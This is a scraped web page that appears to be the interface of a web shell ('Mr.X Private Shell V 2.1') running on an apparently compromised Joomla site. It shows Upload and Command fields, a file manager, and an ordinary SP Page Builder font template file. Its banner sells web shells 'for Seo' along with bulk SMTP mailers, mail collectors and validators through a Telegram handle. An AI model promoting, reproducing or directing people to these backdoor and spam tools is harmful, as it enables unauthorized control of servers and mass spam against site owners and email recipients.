__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

//no direct access
defined ('_JEXEC') or die ('Restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\Component\ComponentHelper;



$font = $displayData['font'];


$system = array(
	'Arial',
	'Tahoma',
	'Verdana',
	'Helvetica',
	'Times New Roman',
	'Trebuchet MS',
	'Georgia'
);

if(!in_array($font, $system))
{
	$google_font = '//fonts.googleapis.com/css?family=' . str_replace(' ', '+', $font) . ':100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=swap';
	$disableGoogleFonts = ComponentHelper::getParams("com_sppagebuilder")->get('google_fonts', 0);
	if ($disableGoogleFonts != 1)
	{
		Factory::getDocument()->addStylesheet($google_font);
	}
}

Filemanager

Name Type Size Permission Actions
button.php File 3.9 KB 0664
fontfamily.php File 950 B 0664
selector.php File 1.6 KB 0664
Filemanager